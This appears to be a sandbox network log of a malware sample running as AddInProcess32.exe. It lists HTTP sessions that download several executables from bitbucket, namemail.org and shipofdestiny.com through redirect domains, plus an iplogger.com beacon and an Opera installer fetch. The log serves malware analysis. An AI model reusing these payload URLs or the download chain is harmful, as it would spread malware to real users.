2024-03-11 02:30:54 UTC	881	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:30:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	55570	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	62	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink Connection: Keep-Alive
2024-03-11 02:30:55 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6Ii9lN2kwTDJjVWVwNlFBMDY5TXVCWmc9PSIsInZhbHVlIjoiSVZsenp6OWpENXBCNWVyMkV6MkRYbXhEaG1INFpTOFRvUUtpVzUzV3hIMFEySXJsam5RNXBNdXFkVkI5UkhNS3h1ZU9xcEU3cWk1YXRtcGdaZmpBRU83Yjg5a0ZSdlRzb1BtcXJsYy95T05GNE52U3B1Z1pSOWNLSWpjcUtBQkUiLCJtYWMiOiI4M2IyNDk1YjA5NzgwNzAzNzE5NzQ2NzA4YmI0N2VhZjY3YzlmMjM1M2EyMzZlOWQ4YzdjODI0Njc5ZTUwNjgyIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:55 GMT; Max-Age=7200; path=/; secure set-cookie: shortiny_session=eyJpdiI6ImZOeFVCMjJaVGhtWmpZaXN1bXN1V2c9PSIsInZhbHVlIjoieVpSeGZyaWhWRXNXeHZNcDF6Q09TbnRRR0o1emFmek5Dc0ZMdGV2QVN3cjdxeVk2MGZoaE1wWWIwTnJxV0NlbTZOcHE4bE9tODRoL0J4ZTZxZnFhaVRwNlJZN09EeXFuMStTbXhXeHAvakVQQXJBbTRXYXVzNUJhZ01taXY0NnAiLCJtYWMiOiI2MWQyMWVmZDQyMDNlYzA3NDI2YjRlZTFjMzczMzYyNmFiOWI2N2I0Y2IwODUyNmRmYjljOWVkZmNiNWQ0MGYxIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:55 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
2024-03-11 02:30:55 UTC	391	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 41 71 7a 4e 6e 51 58 43 59 57 4f 71 6a 48 49 6b 47 48 67 39 44 31 39 47 39 6c 6f 38 74 62 70 72 63 59 52 53 54 45 63 47 4e 67 51 4f 72 41 25 32 42 53 69 52 35 62 37 72 56 64 5a 64 6d 6e 58 76 70 74 74 49 44 51 54 59 56 67 65 61 7a 4a 67 71 30 25 32 46 76 55 4a 4c 57 51 53 50 41 68 39 41 42 6f 6b 74 48 68 52 45 39 4b 6a 73 34 71 53 33 47 75 6d 4f 7a 46 56 6e 67 6c 57 75 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AqzNnQXCYWOqjHIkGHg9D19G9lo8tbprcYRSTEcGNgQOrA%2BSiR5b7rVdZdmnXvpttIDQTYVgeazJgq0%2FvUJLWQSPAh9ABoktHhRE9Kjs4qS3GumOzFVnglWu"}],"group":"cf-nel","max_age":604800}NEL: {"succes
2024-03-11 02:30:55 UTC	1369	IN	Data Raw: 65 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1c<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:30:55 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
2024-03-11 02:30:55 UTC	881	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	55574	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	98	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org Connection: Keep-Alive
2024-03-11 02:30:55 UTC	695	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qj7UHzpM6pwNLwvE%2FENVTfnuYOC%2Fq3EL%2BAJ1lobj7cKQVoYcUyGN%2FYclWPZ1QWjggjd7fpuLEO%2BgQUhSkOXtBO5SS8c3UC%2FPf9IhE%2FCkjaUsBR7GrvfBrMKYrIzpsbQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628200fe9bd0ad3-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:55 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	55573	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	98	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org Connection: Keep-Alive
2024-03-11 02:30:55 UTC	681	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dPBAVIWijFGV3DZnLb9lL3zPtJ8gLF2YiACXgxHBy3eIFErycxYx5YPqDgO1rJuJ3WPHhzcgByX7bIZD0GZgEUZtq0C5odS8I5BYQ5eySIcxiVWRbyCf77yIvOGKQ7Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628200fed8d0add-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:55 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	55568	104.192.141.1	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	107	OUT	GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-03-11 02:30:55 UTC	4235	IN	HTTP/1.1 302 Found server: envoy x-usage-quota-remaining: 998923.634 vary: Accept-Language, Origin x-usage-request-cost: 1093.87 cache-control: max-age=0, no-cache, no-store, must-revalidate, private Content-Type: text/html; charset=utf-8 x-b3-traceid: cdfe773aebaabd3e x-usage-output-ops: 0 x-used-mesh: False x-dc-location: Micros-3 content-security-policy: base-uri 'self'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net app.pendo.io data.pendo.io pendo-static-6266914010103808.storage.googleapis.com bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net app.pendo.io cdn.pendo.io data.pendo.io pendo-io-static.storage.googleapis.com pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ app.pendo.io cdn.pendo.io pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; object-src 'none'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org app.pendo.io; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Mar 2024 02:30:54 GMT x-usage-user-time: 0.032816 x-usage-system-time: 0.000000 location: https://bbuseruploads.s3.amazonaws.com/fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 expires: Mon, 11 Mar 2024 02:30:54 GMT x-served-by: 0e7b622335b4 x-envoy-upstream-service-time: 71 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-b3-spanid: cdfe773aebaabd3e x-static-version: 3c039d08312e x-render-time: 0.060658931732177734 Connection: close x-usage-input-ops: 0 x-version: 3c039d08312e x-request-count: 3743 x-frame-options: SAMEORIGIN X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	55575	172.67.188.178	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	67	OUT	GET /1lyxz HTTP/1.1 Host: iplogger.com Connection: Keep-Alive
2024-03-11 02:30:55 UTC	1146	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close set-cookie: 505282792584766758=3; expires=Tue, 11 Mar 2025 02:30:55 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=154.16.105.38; expires=Tue, 11 Mar 2025 02:30:55 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.42150115966796875 expires: Mon, 11 Mar 2024 02:30:55 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ToL073Rcs3YTrTnhHbgXO4WVBFHTlgf8sII%2B9z89lt8YBsrNcCb3v2VZEzvwyZquB%2FogWK7oNKSnKgpf1MQpnnOxXmApniVhY%2FbRxTYlIZMB6YN%2BhD3Z0Am5Mit%2BXpc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201139ed09ed-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:55 UTC	218	IN	Data Raw: 64 34 0d 0a 0a 57 61 72 6e 69 6e 67 3a 20 55 6e 64 65 66 69 6e 65 64 20 70 72 6f 70 65 72 74 79 3a 20 64 65 76 69 63 65 3a 3a 24 75 61 20 69 6e 20 2f 68 6f 6d 65 2f 77 77 77 2f 6c 6f 67 67 65 72 73 2f 6c 69 62 73 2f 64 65 76 69 63 65 2e 63 6c 61 73 73 2e 70 68 70 20 6f 6e 20 6c 69 6e 65 20 37 35 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: d4Warning: Undefined property: device::$ua in /home/www/loggers/libs/device.class.php on line 75PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-03-11 02:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	55572	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	103	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com Connection: Keep-Alive
2024-03-11 02:30:55 UTC	705	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3mdwQfSn3sIeONCq36VrfNfxZE9QOFqz744rPa3AXqHSXbyGkCl2q%2BEQt4BPImJNUQ%2FsEbE%2BchLmYj2Rt7KyGJFKC01R9UJ35qhknF3M7%2Fe0i6UwcYCvLy%2BFKmrW0QzheOJE2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820128fc30ad5-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:55 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	55571	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:54 UTC	103	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com Connection: Keep-Alive
2024-03-11 02:30:55 UTC	703	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LJ0mzSaRNkSoepLcvuDuZ%2Fy8D8KBgFXFeHRqS5Hpb5iGLBlhmJSEACHqUx2PK0LwOTv9A2RZp%2BmQECykplwEVfVVlcvcQkRKnNEKdRFF8dRH5ggZqza8drqlHtmg%2FjUMfBb%2FjQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820128df709f3-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:55 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:30:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	55580	107.167.110.211	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:55 UTC	135	OUT	GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1 Host: net.geo.opera.com Connection: Keep-Alive
2024-03-11 02:30:56 UTC	322	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Mar 2024 02:30:55 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Disposition: attachment; filename=OperaSetup.exe ETag: "ec88d954c697b2110ec5b86a8d0a21d7" Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-03-11 02:30:56 UTC	16062	IN	Data Raw: 61 34 64 0d 0a 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 03 00 fd 65 e5 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 80 2c 00 00 90 00 00 00 60 26 00 40 ea 52 00 00 70 26 00 00 f0 52 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 53 00 00 02 00 00 9f 4d 2d 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 70 Data Ascii: a4dMZx@x!L!This program cannot be run in DOS mode.$PELee",`&@Rp&R@SM-@p
